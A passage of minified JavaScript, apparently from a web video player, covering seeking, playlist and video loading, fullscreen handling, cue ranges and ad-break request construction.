g.q.seekTo=function(x,T,t,u,H){T=T!==!1;if(u=this.pz(u))this.appState===2&&Fy(this),this.CC(u)?L6(this)?this.vt.seekTo(x,{seekSource:H},T,t):this.VF.seekTo(x,{seekSource:H},T,t):g.pB(this.getVideoData())&&this.zI?this.zI.seekTo(x,{aB:!T,xA:t,wp:"application",seekSource:H}):u.seekTo(x,{aB:!T,xA:t,wp:"application",seekSource:H})};
g.q.seekBy=function(x,T,t,u){this.seekTo(this.getCurrentTime()+x,T,t,u)};
g.q.bF=function(){this.qj.gN("SEEK_COMPLETE")};
g.q.L0=function(){this.qj.XW("onAbnormalityDetected")};
g.q.onSnackbarMessage=function(x){this.qj.XW("onSnackbarMessage",x)};
g.q.YYy=function(x,T){x=x.H$;var t=x.getVideoData();if(this.appState===1||this.appState===2)t.startSeconds=T;this.appState===2?g.p(x.getPlayerState(),512)||Fy(this):this.qj.gN("SEEK_TO",T)};
g.q.onAirPlayActiveChange=function(){this.qj.publish("airplayactivechange");this.Cf.B("html5_external_airplay_events")&&this.qj.jD("onAirPlayActiveChange",this.qj.D$())};
g.q.onAirPlayAvailabilityChange=function(){this.qj.publish("airplayavailabilitychange");this.Cf.B("html5_external_airplay_events")&&this.qj.jD("onAirPlayAvailabilityChange",this.qj.Dh())};
g.q.showAirplayPicker=function(){var x;(x=this.VU())==null||x.DS()};
g.q.H2=function(){this.qj.publish("beginseeking")};
g.q.D5=function(){this.qj.publish("endseeking")};
g.q.getStoryboardFormat=function(x){return(x=this.pz(x))?YR(this,x).getStoryboardFormat():this.UY.C.getStoryboardFormat()};
g.q.ul=function(x){return(x=this.pz(x))?YR(this,x).getVideoData().ul():this.UY.C.ul()};
g.q.CC=function(x){x=x||this.VU();var T=!1;if(x){x=x.getVideoData();if(L6(this))x=x===this.vt.playback.getVideoData();else a:if(T=this.VF,x===T.C.getVideoData()&&T.Z.length)x=!0;else{T=g.S(T.Z);for(var t=T.next();!t.done;t=T.next())if(x.k6===t.value.k6){x=!0;break a}x=!1}T=x}return T};
g.q.nJ=function(x,T,t,u,H,I,E){this.logger.debug(function(){return"Adding video to timeline id="+x.video_id+"\n        lengthMs="+u+" enterTimeMs="+H});
var Z="",e=L6(this),l;(l=this.VU())==null||l.kc("appattl",{sstm:this.vt?1:0,ssenable:this.getVideoData().enableServerStitchedDai,susstm:e});Z=e?pGC(this.vt,x,T,t,u,H,I,E):GFV(this.VF,x,t,u,H,I);this.logger.debug(function(){return"Video added to timeline id="+x.video_id+" timelinePlaybackId="+Z});
return Z};
g.q.Ov=function(x,T,t,u,H,I,E){if(L6(this)){var Z=pGC(this.vt,x,T,t,u,H,I,E);this.logger.debug(function(){return"Remaining video added to timeline id="+x.video_id+" timelinePlaybackId="+Z})}return""};
g.q.vY=function(x){var T;(T=this.vt)==null||T.vY(x)};
g.q.iH=function(x,T){x=x===void 0?-1:x;T=T===void 0?Infinity:T;L6(this)||N1i(this.VF,x,T)};
g.q.XH=function(x,T,t){if(L6(this)){var u=this.vt,H=u.kP.get(x);H?(t===void 0&&(t=H.Pt),H.durationMs=T,H.Pt=t):u.o4("Invalid_timelinePlaybackId_"+x+"_specified")}else{u=this.VF;H=null;for(var I=g.S(u.Z),E=I.next();!E.done;E=I.next())if(E=E.value,E.k6===x){H=E;break}H?(t===void 0&&(t=H.Pt),yi4(u,H,T,t)):is(u,"InvalidTimelinePlaybackId timelinePlaybackId="+x)}};
g.q.enqueueVideoByPlayerVars=function(x,T,t,u){t=t===void 0?Infinity:t;u=u===void 0?"":u;this.CC();x=new g.NE(this.Cf,x);u&&(x.k6=u);nf3(this,x,T,t)};
g.q.queueNextVideo=function(x,T,t,u,H){t=t===void 0?NaN:t;t=this.preloadVideoByPlayerVars(x,T===void 0?1:T,t,u===void 0?"":u,H===void 0?"":H);x=this.VU();t&&x&&(T=t.H$,this.B("html5_check_queue_on_data_loaded")?this.Y().supportsGaplessShorts()&&x.getVideoData().J&&(t=this.KM,u=this.bb.N,t.K!==T&&(t.Z=x,t.K=T,t.j=1,t.C=T.getVideoData(),t.T=u,t.C.isLoaded()?t.D():t.C.subscribe("dataloaded",t.D,t))):(T=ZvD(x,T,this.bb.N),T!=null?(x.kc("sgap",T),x.getVideoData().J&&x.Gj(!1)):(x=t.getVideoData(),T=this.KM,
T.C!==x&&(T.C=x,T.j=1,x.isLoaded()?T.N():T.C.subscribe("dataloaded",T.N,T)))))};
g.q.GL=function(x,T,t,u){var H=this;t=t===void 0?0:t;u=u===void 0?0:u;var I=this.VU();I&&YR(this,I).Hq();Yt5(this.bb,x,T,t,u).then(function(){H.qj.jD("onQueuedVideoLoaded")},function(){})};
g.q.d_=function(){return this.bb.d_()};
g.q.O1=function(x){return this.bb.C===x.H$};
g.q.clearQueue=function(x,T){x=x===void 0?!1:x;T=T===void 0?!1:T;this.logger.debug("Clearing queue");this.bb.clearQueue(x,T)};
g.q.loadVideoByPlayerVars=function(x,T,t,u,H,I){T=T===void 0?1:T;var E=this.j8();if(T===2&&this.Wk().enableServerStitchedDai&&E&&!E.jH())return E.kc("lvonss",{vid:(x==null?void 0:x.videoId)||"",ptype:T}),!1;var Z=!1;E=new g.NE(this.Cf,x);E.reloadPlaybackParams=I;g.K1(this.Cf)&&!E.VL&&c8(this.MJ);var e;I=this.MJ;var l=(e=E.G9)!=null?e:"";I.timerName=l;this.MJ.T7("pl_i");this.B("web_player_early_cpn")&&E.clientPlaybackNonce&&this.MJ.infoGel({clientPlaybackNonce:E.clientPlaybackNonce});if(Rim(E).supportsVp9Encoding===
!1){var m;(m=this.VU())==null||m.kc("noVp9",{})}if(this.Y().supportsGaplessShorts()){e=bvJ(this.bb,E,T);if(e==null){cm(this,-1);x=this.bb;x.app.Y().B("html5_gapless_new_slr")?hAf(x.app,"gaplessshortslooprange"):x.app.setLoopRange(null);x.app.getVideoData().Qj=!0;var d;(d=x.C)==null||d.SI();var M;(M=x.C)!=null&&C8(M.Em.VA());t={wp:"gapless_to_next_video",seekSource:60};var A;(A=x.app.VU())==null||A.seekTo(UrH(x),t);if(!x.app.getPlayerStateObject(T).isPlaying()){var R;(R=x.app.VU())==null||R.playVideo(!0)}x.D();
return!0}A=this.B("html5_shorts_gapless_preload_fallback");R=this.bb.C;A&&R&&!R.Em.T9()&&(d=R.getVideoData(),d=this.Cf.B("html5_autonav_autoplay_in_preload_key")?ab(this,T,d):gP(this,T,d.videoId,d.k6),this.UY.Z.set(d,R,3600));this.bb.clearQueue(A);var Y;(Y=this.VU())==null||Y.kc("sgap",{f:e})}if(H){for(;E.XF.length&&E.XF[0].isExpired();)E.XF.shift();Z=E.XF.length-1;Z=Z>0&&H.Z(E.XF[Z])&&H.Z(E.XF[Z-1]);E.XF.push(H)}t||(x&&i_i(x)?(QZ(this.Cf)&&!this.fU&&(x.fetch=0),zD(this,x)):this.playlist&&zD(this,
null),x&&(this.fU=ox(!1,x.external_list)));this.qj.publish("loadvideo");T=this.qX(E,T,u);Z&&this.uf("player.fatalexception",1,"GENERIC_WITH_LINK_AND_CPN",("loadvideo.1;emsg."+E.XF.join()).replace(/[;:,]/g,"_"));return T};
g.q.preloadVideoByPlayerVars=function(x,T,t,u,H){T=T===void 0?1:T;t=t===void 0?NaN:t;u=u===void 0?"":u;H=H===void 0?"":H;var I="";if(this.Cf.B("html5_autonav_autoplay_in_preload_key"))I=gfX(this,T,x,H);else{var E=Hc(x);I=gP(this,T,E,H)}if(this.UY.Z.get(I))return this.logger.debug(function(){return"already preloaded "+I}),null;
x=new g.NE(this.Cf,x);H&&(x.k6=H);return ab3(this,x,T,t,u)};
g.q.setMinimized=function(x){this.visibility.setMinimized(x);(x=pn3(this.Fa))&&(this.isMinimized()?x.load():x.unload());this.qj.publish("minimized")};
g.q.setInline=function(x){this.visibility.setInline(x)};
g.q.setInlinePreview=function(x){this.visibility.setInline(x)};
g.q.ue=function(x){W2H(this,x)||this.visibility.ue(x)};
g.q.setSqueezeback=function(x){this.visibility.setSqueezeback(x)};
g.q.l9=function(){var x,T=(x=this.mediaElement)==null?void 0:x.yA();T&&(this.Cf.Yn&&document.exitFullscreen().catch(function(){}),MO(T).catch(function(t){g.Vh(t)}))};
g.q.wt9=function(){this.mediaElement.yA();this.mediaElement.yA().webkitPresentationMode==="picture-in-picture"?this.ue(!0):this.ue(!1)};
g.q.togglePictureInPicture=function(){var x=this.VU();x&&x.togglePictureInPicture()};
g.q.qX=function(x,T,t){T=T===void 0?1:T;this.logger.debug(function(){return"start load video, id "+x.videoId+", type "+T});
WM("_start",this.MJ.timerName)||g.Kr(FR)(void 0,this.MJ.timerName);var u=!1,H=zAq(this,T,x,!1);H?(u=!0,x.dispose()):(H=Sjm(this,T,x,t).H$,(this.B("html5_onesie")||this.B("html5_load_before_stop"))&&H.vr()&&H.Ou(),this.Z2.stop(),T===1&&T!==this.getPresentingPlayerType()&&this.cancelPlayback(4),this.cancelPlayback(4,T),this.Us(H));H===this.j8()&&(this.Cf.FR=x.oauthToken);if(!H.vr())return!1;if(H===this.j8())return this.yp(1),t=Fy(this),u&&this.B("html5_player_preload_ad_fix")&&H.getPlayerType()===1&&
H.mA()&&this.NC("dataloaded",H,H.getVideoData()),t;H.fI();return!0};
g.q.cueVideoByPlayerVars=function(x,T){var t=this;T=T===void 0?1:T;var u=this.j8();if(this.Wk().enableServerStitchedDai&&u&&!u.jH()&&x&&Object.keys(x).length>0)u.kc("qvonss",{vid:(x==null?void 0:x.videoId)||"",ptype:T});else if(x&&i_i(x))if(this.Bx=!0,zD(this,x),(x=g.YM(this.playlist))&&x.eD())Wm(this,x,T);else this.playlist.onReady(function(){kR(t)});
else{T||(T=this.getPresentingPlayerType());T===1&&this.tF();u=new g.NE(this.Cf,x);var H=g.zw(this.Cf)&&!this.Cf.jY&&T===1&&!u.isAd()&&!u.Zk;this.qj.publish("cuevideo");H?(this.VU().getVideoData().loading=!0,l84(u,x?x:{}).then(function(I){Wm(t,I,T)}),u.dispose()):Wm(this,u,T)}};
g.q.J8=function(x,T,t,u,H,I,E){if(!x&&!t)throw Error("Playback source is invalid");if(FB(this.Cf)||g.Yv(this.Cf))return T=T||{},T.lact=bH(),T.vis=this.qj.getVisibilityState(),this.qj.XW("onPlayVideo",{videoId:x,watchEndpoint:I,sessionData:T,listId:t}),!1;$7f(this.MJ);this.MJ.reset();x={video_id:x};u&&(x.autoplay="1");u&&(x.autonav="1");I&&(x.player_params=I.playerParams);E&&(x.oauth_token=E);t?(x.list=t,this.loadPlaylist(x)):this.loadVideoByPlayerVars(x,1);return!0};
g.q.cuePlaylist=function(x,T,t,u){this.Bx=!0;Dh3(this,x,T,t,u)};
g.q.loadPlaylist=function(x,T,t,u){this.Bx=!1;Dh3(this,x,T,t,u)};
g.q.N5=function(){return this.qj.isMutedByMutedAutoplay()?!1:this.getPresentingPlayerType()===3?!0:!(!this.playlist||!this.playlist.Ga())};
g.q.ZJ=oV(13);
g.q.nextVideo=function(x,T){var t=g.X4(this.j8().getVideoData());g.Gt(this.qj)&&t?this.J8(t.videoId,T?t.lk:t.sessionData,t.playlistId,T,void 0,t.jh||void 0):this.fU?this.qj.jD("onPlaylistNext"):this.getPresentingPlayerType()===3?zt(this.Fa).nextVideo():!this.playlist||QZ(this.Cf)&&!this.qj.isFullscreen()||(this.playlist.Ga(x)&&qQJ(this.playlist,I8J(this.playlist)),this.playlist.loaded?(x=T&&this.Cf.B("html5_player_autonav_logging"),T&&this.qj.publish("playlistautonextvideo"),this.qX(g.YM(this.playlist,void 0,
T,x),1)):this.Bx=!1)};
g.q.previousVideo=function(x){this.fU?this.qj.jD("onPlaylistPrevious"):this.getPresentingPlayerType()===3?zt(this.Fa).Nk():!this.playlist||QZ(this.Cf)&&!this.qj.isFullscreen()||(this.playlist.qp(x)&&qQJ(this.playlist,Epv(this.playlist)),this.playlist.loaded?this.qX(g.YM(this.playlist),1):this.Bx=!1)};
g.q.playVideoAt=function(x){this.fU?this.qj.jD("onPlaylistIndex",x):this.playlist&&(this.playlist.loaded?this.qX(g.YM(this.playlist,x),1):this.Bx=!1,qQJ(this.playlist,x))};
g.q.getPlaylist=function(){return this.playlist};
g.q.SN=oV(23);g.q.JMc=function(x){this.qj.gN("onCueRangeEnter",x.getId())};
g.q.t8W=function(x){this.qj.gN("onCueRangeExit",x.getId())};
g.q.Vb=function(){var x=g.Lb(this.xm());x&&x.Vb()};
g.q.GT=function(x,T,t){var u=this.pz(T);if(u){var H=this.Wk();if(g.pB(H)){if(this.zI)if(this.B("html5_ssap_enable_cpn_triggered_media_end")&&u.getPlayerType()===2&&this.zI.h$()&&(u=this.j8()),T===1)for(var I=vw(this.zI,H.clientPlaybackNonce),E=g.S(x),Z=E.next();!Z.done;Z=E.next())Z=Z.value,Z.start+=I,Z.end+=I,Z.pB=I,Z.j=H.clientPlaybackNonce;else if(this.B("html5_ssap_enable_cpn_triggered_media_end")&&T===2)for(this.getPresentingPlayerType(),H=g.S(x),I=H.next();!I.done;I=H.next())I.value.j=this.zI.nB();
H=g.S(x);for(I=H.next();!I.done;I=H.next())E=void 0,I.value.playerType=(E=T)!=null?E:1}u.GT(x,t);T&&this.getPresentingPlayerType()!==T||DU(this,"cuerangesadded",x)}};
g.q.YR=function(x,T){var t=this.pz(T);t&&(t.YR(x),T&&this.getPresentingPlayerType()!==T||DU(this,"cuerangesremoved",x))};
g.q.TT=function(x){var T=this.VU()||this.j8(),t=this.getPresentingPlayerType();return this.B("html5_ssap_enable_cpn_triggered_media_end")?T.TT(t,x):T.TT(t)};
g.q.e_m=function(){function x(){var u=T.screenLayer||(T.isMinimized()?3:0),H=g.Yx(u);if(H&&H!=="UNDEFINED_CSN"){var I=T.Cf.B("web_player_attach_player_response_ve"),E=T.Cf.B("web_playback_associated_ve");u={cpn:T.getVideoData().clientPlaybackNonce,csn:H};T.getVideoData().Om&&(I||E)&&(I=g.PW(T.getVideoData().Om),g.xB(H,I),E&&(u.playbackVe=I.getAsJson()));T.getVideoData().queueInfo&&(u.queueInfo=T.getVideoData().queueInfo);H={};T.B("web_playback_associated_log_ctt")&&T.getVideoData().D&&(H.cttAuthInfo=
{token:T.getVideoData().D,videoId:T.getVideoData().videoId});g.io("playbackAssociated",u,H)}else g.Vh(new g.CS("CSN Missing or undefined during playback association"))}
var T=this,t=this.VU();this.getPresentingPlayerType();soi(this.MJ,t.getVideoData(),Cpv(this));rP(this)&&this.Cf.K&&WV(this.Wk())==="embedded"&&this.rg&&Math.random()<.01&&g.io("autoplayTriggered",{intentional:this.intentionalPlayback});this.rg=!1;JN3(this.Fa);this.B("web_player_defer_ad")&&YjX(this);this.qj.jD("onPlaybackStartExternal");(this.Cf.B("mweb_client_log_screen_associated"),Dm(this.Cf))||x();t={};this.getVideoData().D&&(t.cttAuthInfo={token:this.getVideoData().D,videoId:this.getVideoData().videoId});
t.sampleRate=20;BM("player_att",t);if(this.getVideoData().botguardData||this.B("fetch_att_independently"))g.f1(this.Cf)||wV(this.Cf)==="MWEB"?g.wx(g.XM(),function(){ho(T)}):ho(this);
this.oK();vf4(this);this.B("embeds_enable_autoplay_and_visibility_signals")&&g.zw(this.Cf)&&(t={autoplayBrowserPolicy:Qu(),autoplayIntended:pT(this.getVideoData()),autoplayStatus:Vd4(this.getVideoData(),1),cpn:this.getVideoData().clientPlaybackNonce,intentionalPlayback:this.intentionalPlayback},g.io("embedsAutoplayStatusChanged",t))};
g.q.uT=function(){this.qj.publish("internalAbandon");n6(this)};
g.q.onApiChange=function(){var x=this.VU();this.Cf.N&&x?this.qj.gN("onApiChange",x.getPlayerType()):this.qj.gN("onApiChange")};
g.q.suU=function(){var x=this.mediaElement;x={volume:g.iu(Math.floor(x.getVolume()*100),0,100),muted:x.Kv()};x.muted||VN(this,!1);this.W_=g.hq(x);this.qj.gN("onVolumeChange",x)};
g.q.mutedAutoplay=function(x){var T=this.getVideoData().videoId;isNaN(this.k9)&&(this.k9=this.getVideoData().startSeconds);if((x==null?0:x.videoId)||T)this.loadVideoByPlayerVars({video_id:(x==null?0:x.videoId)?x==null?void 0:x.videoId:T,playmuted:!0,start:this.k9,muted_autoplay_duration_mode:x==null?void 0:x.durationMode}),this.qj.jD("onMutedAutoplayStarts")};
g.q.onFullscreenChange=function(){var x=pS3(this);this.bM(x?1:0);fbH(this,!!x)};
g.q.bM=function(x){var T=!!x,t=!!this.tA()!==T;this.visibility.bM(x);this.template.bM(T);this.B("html5_media_fullscreen")&&!T&&this.mediaElement&&pS3(this)===this.mediaElement.yA()&&this.mediaElement.Qf();this.template.resize();t&&this.MJ.tick("fsc");t&&(this.qj.publish("fullscreentoggled",T),x=this.Wk(),T={fullscreen:T,videoId:x.DH||x.videoId,time:this.getCurrentTime()},this.qj.getPlaylistId()&&(T.listId=this.qj.getPlaylistId()),this.qj.gN("onFullscreenChange",T))};
g.q.s9=function(){return this.visibility.s9()};
g.q.isFullscreen=function(){return this.visibility.isFullscreen()};
g.q.tA=function(){return this.visibility.tA()};
g.q.MDU=function(){if(this.VU()){var x=this.tA();x!==0&&x!==1||this.bM(pS3(this)?1:0);x=window.screen.width*window.screen.height;var T=window.outerHeight*window.outerWidth;this.Cf.JJ?(this.Aa=Math.max(this.Aa,x,T),x=T/this.Aa<.33,this.visibility.ue(x),this.Cf.Hm&&W2H(this,x)):this.mediaElement&&BAm(this,T/x<.33)&&this.mediaElement.Qf()}};
g.q.Bpf=function(x){this.getPresentingPlayerType()!==3&&this.qj.publish("liveviewshift",x)};
g.q.playVideo=function(x,T){this.logger.debug(function(){return"play video, player type "+x});
var t=this.pz(x);t?this.appState===2?(g.K1(this.Cf)&&c8(this.MJ),Fy(this)):g.p(t.getPlayerState(),2)?(T=36,this.getVideoData().qg()&&(T=37),this.seekTo(0,void 0,void 0,void 0,T)):t.playVideo(!1,T):this.UY.C.playVideo(!1,T)};
g.q.pauseVideo=function(x,T){(x=this.pz(x))?x.pauseVideo(T):this.UY.C.pauseVideo(T)};
g.q.stopVideo=function(x){x=x===void 0?!1:x;this.logger.debug(function(){return"stop video"});
var T=this.j8().getVideoData(),t=new g.NE(this.Cf,{video_id:T.DH||T.videoId,oauth_token:T.oauthToken});t.S=g.hq(T.S);var u;!x||(u=this.webPlayerContextConfig)!=null&&u.disableStaleness||(t.Rg=!0);this.cancelPlayback(6);Wm(this,t,1)};
g.q.cancelPlayback=function(x,T){var t=this;this.logger.debug(function(){return"start cancel playback, type "+T});
var u=this.pz(T);u?T===2&&u.getPlayerType()===1&&(fm(this.Wk())||g.pB(this.getVideoData()))?u.kc("canclpb",{r:"no_adpb_ssdai"}):(this.Cf.AM()&&u.kc("canclpb",{r:x}),this.appState===1||this.appState===2?this.logger.debug(function(){return"cancel playback end, app not started, state "+t.appState}):(u===this.VU()&&(this.logger.debug("cancel playback, destroy modules"),aJ(this.Fa,x)),T===1&&(u.stopVideo(),n6(this)),u.iM(void 0,x!==6),DU(this,"cuerangesremoved",u.B_()),u.Em.dV.reset(),this.bb&&u.isGapless()&&
(u.Jm(!0),u.setMediaElement(this.mediaElement)))):this.logger.debug("cancel playback end, no player to cancel")};
g.q.sendVideoStatsEngageEvent=function(x,T,t){(T=this.pz(T))&&$Uv(this.Cf,x)?T.sendVideoStatsEngageEvent(x,t):t&&t()};
g.q.Jp=function(x){var T=this.pz();return T&&$Uv(this.Cf,x)?T.Jp(x):null};
g.q.updatePlaylist=function(){!QZ(this.Cf)&&g.zw(this.Cf)&&ba3(this);this.qj.jD("onPlaylistUpdate")};
g.q.setSizeStyle=function(x,T){this.DY=x;this.B("web_log_theater_mode_visibility")?this.NF(T):this.DL=T;this.qj.publish("sizestylechange",x,T);this.template.resize()};
g.q.NF=function(x){this.visibility.NF(x)};
g.q.Mb=function(){return this.B("web_log_theater_mode_visibility")?this.visibility.Mb():this.DL};
g.q.isMinimized=function(){return this.visibility.isMinimized()};
g.q.isInline=function(){return this.visibility.isInline()};
g.q.cE=function(){return this.visibility.cE()};
g.q.Kc=function(){return this.visibility.Kc()};
g.q.lF=function(){return this.visibility.lF()};
g.q.IN=function(){return this.DY};
g.q.getAdState=function(){if(this.getPresentingPlayerType()===3)return zt(this.Fa).getAdState();if(!this.CC()){var x=g_(this.xm());if(x)return x.getAdState()}return-1};
g.q.roy=function(x){var T=this.template.getVideoContentRect();I_(this.xV,T)||(this.xV=T,(T=this.VU())&&T.h6(),(T=this.j8())&&T===this.VU()&&T.h6(),this.tA()===1&&this.h4&&fbH(this,!0));this.B6&&g.mK(this.B6,x)||(this.qj.publish("appresize",x),this.B6=x)};
g.q.hp=function(){return this.qj.hp()};
g.q.Wam=function(){this.getPresentingPlayerType()===2&&this.VF.isManifestless()?DZV(this.VF):(this.vt&&(wGC(this.vt),n6(this)),wSm(this,"signature"))};
g.q.QW7=function(x){x&&wSm(this,"reloadPlayerEvent",void 0,x)};
g.q.yg=function(x){this.Jm(x);S2(this)};
g.q.pkW=function(x){if(x.errorCode==="manifest.net.badstatus"){var T=this.Cf.experiments.aU("html5_use_network_error_code_enums")?401:"401";x.details.rc===T&&this.qj.XW("onPlayerRequestAuthFailed")}};
g.q.L5=function(x){this.qj.publish("heartbeatparams",x)};
g.q.b5=function(x){this.qj.XW("onAutonavChangeRequest",x!==1)};
g.q.Bt=function(){return this.mediaElement};
g.q.setBlackout=function(x){if(this.Cf.Cz!==x){this.Cf.Cz=x;var T=this.VU();T&&(T.Em.sL(),this.Cf.nf&&XSD(this),T.Sb(x))}};
g.q.aky=function(){var x=this.VU();if(x){var T=!this.qj.MS();x.TW(T)}};
g.q.onLoadedMetadata=function(){this.qj.jD("onLoadedMetadata")};
g.q.onDrmOutputRestricted=function(){this.qj.jD("onDrmOutputRestricted")};
g.q.q8=function(){this.intentionalPlayback=!0};
g.q.oU=function(){this.Fa.dispose();this.SR.dispose();this.VF.dispose();this.vt&&this.vt.dispose();this.uR.removeAll();this.uR.dispose();this.zI&&this.zI.dispose();f8(this.j8());this.Jm();this.UY.dispose();g.Eh(this.playlist);g.W.prototype.oU.call(this)};
g.q.B=function(x){return this.Cf.B(x)};
g.q.setScreenLayer=function(x){this.screenLayer=x};
g.q.getInternalApi=function(){return this.qj.getInternalApi()};
g.q.createSubtitlesModuleIfNeeded=function(){return this.Fa.createSubtitlesModuleIfNeeded()};
g.q.isOrchestrationLeader=function(){var x=W8(this.Fa);return x?x.isOrchestrationLeader():!1};
g.q.getVideoUrl=function(x,T,t,u,H){if(this.TI&&this.TI.postId)return x=this.Cf.getVideoUrl(x),x=Qt(x,"v"),x.replace("/watch","/clip/"+this.TI.postId);var I=this.qj.isEmbedsShortsMode()||this.Cf.Om==="shortspage",E=g.tW(this.getVideoData());return this.Cf.getVideoUrl(x,T,t,u,H,I,E)};
g.q.DJ=function(){return this.bb.DJ()};
g.q.i$=function(x,T,t){this.qj.publish("spsumpreject",x,T,t)};
g.q.jy=function(){try{for(var x=g.S(Object.values(this.UY.j)),T=x.next();!T.done;T=x.next()){var t=T.value;t.Em.T9()||t.jy()}if(this.B("html5_sabr_fetch_on_idle_network_preloaded_players"))for(var u=g.S(Qqv(this.UY.Z)),H=u.next();!H.done;H=u.next()){var I=H.value;I.Em.T9()||I.jy()}this.j8().jy()}catch(E){g.Vh(E)}};
g.q.w0=function(){if(this.vt){var x=(0,g.bo)();return this.vt.w0(x)}return!1};
g.q.vL=function(x){var T=this.j8();x&&(T=TfV(this,x));if(T){var t=T.getVideoData();x=new Map;t=g.S(t.sabrContextUpdates);for(var u=t.next();!u.done;u=t.next()){var H=g.S(u.value);u=H.next().value;H=H.next().value;var I,E;if(E=H.scope===4)(I=T)==null?I=0:(E=void 0,I=!((E=I.Em.Kf)==null||!E.j.Tt.has(u))),E=I;E&&x.set(u,H)}return x}this.j8().kc("scuget",{ncpf:"1",ccpn:x})};
var bT={};var SB9={q_:[{cZ:/Unable to load player module/,weight:20},{cZ:/Failed to fetch/,weight:500},{cZ:/XHR API fetch failed/,weight:10},{cZ:/JSON parsing failed after XHR fetch/,weight:10},{cZ:/Retrying OnePlatform request/,weight:10},{cZ:/CSN Missing or undefined during playback association/,weight:100},{cZ:/Non-recoverable error. Do not retry./,weight:0},{cZ:/Internal Error. Retry with an exponential backoff./,weight:0},{cZ:/API disabled by application./,weight:0}],CN:[{callback:oEf,weight:500}]};var ln4=/[&\?]action_proxy=1/,eTD=/[&\?]token=([\w-]*)/,moV=/[&\?]video_id=([\w-]*)/,doi=/[&\?]index=([\d-]*)/,MUf=/[&\?]m_pos_ms=([\d-]*)/,RTD=/[&\?]vvt=([\w-]*)/,$o4="ca_type dt el flash u_tz u_his u_h u_w u_ah u_aw u_cd u_nplug u_nmime frm u_java bc bih biw brdim vis wgl".split(" "),AQf="www.youtube-nocookie.com youtube-nocookie.com www.youtube-nocookie.com:443 youtube.googleapis.com www.youtubeedu.com www.youtubeeducation.com video.google.com redirector.gvt1.com".split(" "),InV={android:"ANDROID",
"android.k":"ANDROID_KIDS","android.m":"ANDROID_MUSIC","android.up":"ANDROID_UNPLUGGED",youtube:"WEB","youtube.m":"WEB_REMIX","youtube.up":"WEB_UNPLUGGED",ytios:"IOS","ytios.k":"IOS_KIDS","ytios.m":"IOS_MUSIC","ytios.up":"IOS_UNPLUGGED"},EEX={desktop:"DESKTOP",phone:"MOBILE",tablet:"TABLET"},Zgv={FLAG_AUTO_CAPTIONS_DEFAULT_ON:66,FLAG_AUTOPLAY_DISABLED:140,FLAG_AUTOPLAY_EXPLICITLY_SET:141};Jo.prototype.M8=function(x){this.player.Vs().tick(x)};
Jo.prototype.fetch=function(x,T){var t=this;if(!x.match(/\[BISCOTTI_ID\]/g))return this.Z(x,T);var u=this.C===1;u&&this.M8("a_bid_s");var H=svq();if(H!==null)return u&&this.M8("a_bid_f"),this.Z(x,T,H);H=ukD();u&&RZ(H,function(){t.M8("a_bid_f")});
return H.then(function(I){return t.Z(x,T,I)})};
Jo.prototype.Z=function(x,T,t){var u=this,H=T===void 0?{}:T;T=H.V6;var I=H.QI;var E=H.cueProcessedMs;t=t===void 0?"":t;var Z=this.player.getVideoData(1);H=this.player.Y().GC;var e=0;if(E&&I&&!T){var l=I.end-I.start;l>0&&(e=Math.floor(l/1E3))}e=T?T.U0:e;var m={AD_BLOCK:this.C++,AD_BREAK_LENGTH:e,AUTONAV_STATE:N1(this.player.Y()),CA_TYPE:"image",CPN:Z.clientPlaybackNonce,DRIFT_FROM_HEAD_MS:this.player.Bm()*1E3,LACT:bH(),LIVE_INDEX:T?this.j++:1,LIVE_TARGETING_CONTEXT:T&&T.context?T.context:"",MIDROLL_POS:I?
Math.round(I.start/1E3):0,MIDROLL_POS_MS:I?Math.round(I.start):0,VIS:this.player.getVisibilityState(),P_H:this.player.bG().xL().height,P_W:this.player.bG().xL().width,YT_REMOTE:H?H.join(","):""},d=q2(Er);Object.keys(d).forEach(function(A){d[A]!=null&&(m[A.toUpperCase()]=d[A].toString())});
t!==""&&(m.BISCOTTI_ID=t);t={};I6(x)&&(t.sts="20144",(T=this.player.Y().forcedExperiments)&&(t.forced_experiments=T));var M=$D(g.h_(x,m),t);return M.split("?").length!==2?MY(Error("Invalid AdBreakInfo URL")):g.sP(this.player.Y(),Z==null?void 0:Z.oauthToken).then(function(A){if(A&&iP()){var R=a9();gh(R,A)}A=u.player.qm(R);R=PMJ(u,M,m,Z.isMdxPlayback,E);return g.QK(A,R,"/youtubei/v1/player/ad_break").then(function(Y){return Y})})};
Jo.prototype.reset=function(){this.j=this.C=1};g.P(SIX,Jo);
SIX.prototype.Z=function(x,T,t){T=T===void 0?{}:T;var u=T.V6;var H=T.QI;var I=T.cueProcessedMs;t=t===void 0?"":t;T=this.C;this.C++;var E=this.player.Y().B("h5_disable_macro_substitution_in_get_ad_break")?x:cQD(this,x,{V6:u,QI:H,cueProcessedMs:I},t,T);if(E.split("?").length!==2)return Math.random()<.1&&g.Vh(Error("Invalid AdBreakInfo URL")),MY(Error("Invalid AdBreakInfo URL"));var Z=this.player.getVideoData(1).isMdxPlayback,e=t;t=eTD.exec(E);t=t!=null&&t.length>=2?t[1]:"";x=ln4.test(E);var l=moV.exec(E);
l=l!=null&&l.length>=2?l[1]:"";var m=doi.exec(E);m=m!=null&&m.length>=2&&!Number.isNaN(Number(m[1]))?Number(m[1]):1;var d=MUf.exec(E);d=d!=null&&d.length>=2?d[1]:"0";var M=B_(this.player.Y().lf),A=g.O3(this.player.getVideoData(1).Om,!0);ig4(this,A,E,e===""?"":e,this.player.Y(),this.player.getVideoData(1));e={splay:!1,lactMilliseconds:String(bH()),playerHeightPixels:Math.trunc(this.player.bG().xL().height),playerWidthPixels:Math.trunc(this.player.bG().xL().width),vis:Math.trunc(this.player.getVisibilityState()),
signatureTimestamp:20144,autonavState:N1(this.player.Y())};if(Z){Z={};var R=this.player.Y().GC;qIH(Z,R?R.join(","):"")&&(e.mdxContext=Z)}if(Z=AQf.includes(M)?void 0:g.ny("PREF")){R=Z.split(RegExp("[:&]"));for(var Y=0,b=R.length;Y<b;Y++){var z=R[Y].split("=");if((z[0].toUpperCase()==="SML"||z[0].toUpperCase()==="GSML")&&z.length>1&&z[1].toUpperCase()==="TRUE"){A.user.lockedSafetyMode=!0;break}}e.autoCaptionsDefaultOn=jvv(Z)}E=RTD.exec(E);(E=E!=null&&E.length>=2?E[1]:"")&&l&&(A.user.credentialTransferTokens=
